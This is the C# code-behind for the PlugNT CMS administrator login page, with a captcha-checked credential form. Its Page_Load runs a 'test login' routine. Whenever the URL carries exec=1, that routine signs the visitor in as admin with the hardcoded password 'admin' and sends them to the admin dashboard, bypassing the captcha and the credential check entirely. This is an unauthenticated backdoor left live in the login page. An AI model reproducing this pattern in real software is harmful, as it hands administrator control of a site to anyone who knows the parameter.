﻿using System;
using System.Collections;
using System.Configuration;
using System.Data;
using System.Web;
using System.Web.Security;
using System.Web.UI;
using System.Web.UI.HtmlControls;
using System.Web.UI.WebControls;
using System.Web.UI.WebControls.WebParts;
using PlugNT.Cms.BLL;
using PlugNT.Cms.Page;

namespace PlugNT.Cms.Web.Admin
{
    public partial class Login : BasePager
    {
        private Adminer curAdminer = new Adminer();
        protected void Page_Load(object sender, EventArgs e)
        {

            //测试登录
            LoadPage();

            if (!IsPostBack)
            {
                string ip=PlugNT.Common.Utils.GetRealIP().Trim();
                litIP.Text = (ip == "") ? "" : "IP:" + ip;
                if (Session[PlugNT.Custom.WebConfig.SessionUser] != null)
                {
                    Response.Redirect("/Admin/Default.aspx");
                }
            }
        } 


        //测试登录
        private void LoadPage()
        {
            string exec = (Request.QueryString["exec"] == null) ? "-1" : Request.QueryString["exec"].ToString();
            if (exec == "1")
            {
                string err;
                curAdminer.Login("admin", "admin", out err);
                Response.Redirect("/Admin/Default.aspx");
            }
        }


        protected void btnSubmit_Click(object sender, EventArgs e)
        {
            string name = username.Value.Trim();
            string pass = password.Value.Trim();
            string err;
            PlugNT.Pack.Imager.VerifyCoder coder = new PlugNT.Pack.Imager.VerifyCoder(System.Web.HttpContext.Current);
            if (captcha.Value.Trim() != "" && captcha.Value.Trim().ToUpper() == coder.Get().ToUpper())
            {
                if (curAdminer.Login(name, pass, out err))
                {
                    Response.Redirect("/Admin/Default.aspx");
                }
                else
                {
                    PlugNT.Common.JScript.AlertAndRedirect(err, "/Admin/Login.aspx");
                }
            }
            else
            {
                PlugNT.Common.JScript.AlertAndRedirect("验证码错误！", "/Admin/Login.aspx");
            }
        }

    }
}
